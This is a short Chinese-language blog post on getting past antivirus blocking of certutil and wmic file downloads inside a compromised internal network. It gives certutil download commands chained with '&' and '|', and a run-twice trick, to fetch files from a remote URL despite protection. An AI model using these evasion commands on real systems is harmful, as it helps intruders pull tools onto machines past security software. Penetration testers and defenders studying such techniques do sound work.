Drunkmars's Blog

certutil&wmic绕过

字数统计: 189阅读时长: 1 min
2021/03/21 Share

一般进内网过后会使用certutil下载文件,但在最近打一台内网机子的时候出现了certutil拒绝访问的情况,于是我在本地搭建了一个环境尝试绕过certutil下载文件。

certutil绕过

安装杀软更新到最新版本,开启所有防护,cmd下载certutil拦截如下:

方法一:用&和|绕过,语句如下:

1
2
3
Certutil & Certutil –urlcache –f –split url

Certutil \| Certutil –urlcache –f –split url

可以看到之前拒绝访问后下载成功

方法二:二次执行certutil

先执行一次certutil,再执行下载语句

wmic绕过

想到这里,我试着用wmic方式下载,也是被拦截

于是尝试了跟certutil相同的方法,方法二可行如下

CATALOG
  1. 1. certutil绕过
  2. 2. wmic绕过